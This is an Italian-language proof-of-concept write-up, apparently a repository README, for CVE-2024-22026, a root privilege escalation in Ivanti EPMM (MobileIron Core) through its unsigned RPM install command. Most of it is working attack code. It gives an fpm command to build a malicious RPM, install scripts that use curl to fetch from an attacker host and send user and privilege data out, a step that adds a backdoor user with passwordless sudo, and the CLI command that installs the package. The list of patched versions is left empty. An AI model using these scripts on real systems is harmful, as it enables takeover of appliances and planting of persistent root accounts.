
Exploit POC per CVE-2024-22026 che colpisce Ivanti EPMM "MobileIron Core"
PoC di sfruttamento per CVE-2024-22026 che interessa Ivanti EPMM "MobileIron Core"

CVE-2024-22026 è una vulnerabilità di escalation dei privilegi locale nei server Ivanti EPMM (precedentemente MobileIron) precedenti alle versioni 12.1.0.0, 12.0.0.0 e 11.12.0.1. Questa vulnerabilità consente a un utente locale di ottenere accesso di root al sistema sfruttando il processo di aggiornamento del software con un pacchetto RPM dannoso proveniente da un URL remoto.
Leggi l'articolo completo per informazioni tecniche dettagliate: Exploiting CVE-2024-22026: Rooting Ivanti EPMM (MobileIron Core)
Durante la nostra ricerca, abbiamo scoperto che l'appliance utilizza il seguente comando per scaricare e installare pacchetti RPM come utente con privilegi bassi:
install rpm url <remote url>
Il comando precedente è solo un wrapper CLI per la seguente operazione che viene eseguita come root
/bin/rpm -Uvh *.rpm
Questo comando rpm sottostante non applica alcuna verifica delle firme né filtro degli URL, il che significa che qualsiasi pacchetto RPM può essere installato. Ciò consente a un aggressore di creare e distribuire un pacchetto RPM dannoso in grado di compromettere l'appliance.
Il seguente comando viene utilizzato per creare un pacchetto RPM dannoso:
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # Enable strict error checking
# Report back current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# Create a new root user
if ! useradd -s /bin/sh -m exploit-poc; then
echo "Failed to add user 'exploit-poc'" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# Grant root privileges
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "Failed to modify sudoers file" >&2
exit 1
fi
exit 0
Per sfruttare la vulnerabilità, l'aggressore eseguirebbe il seguente comando nella CLI per scaricare e installare l'RPM dannoso:
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
Ivanti ha rilasciato patch per risolvere CVE-2024-22026 nelle seguenti versioni:
Questa repository e il suo contenuto sono destinati esclusivamente a scopi didattici e di ricerca. L'uso delle informazioni qui contenute è a proprio rischio.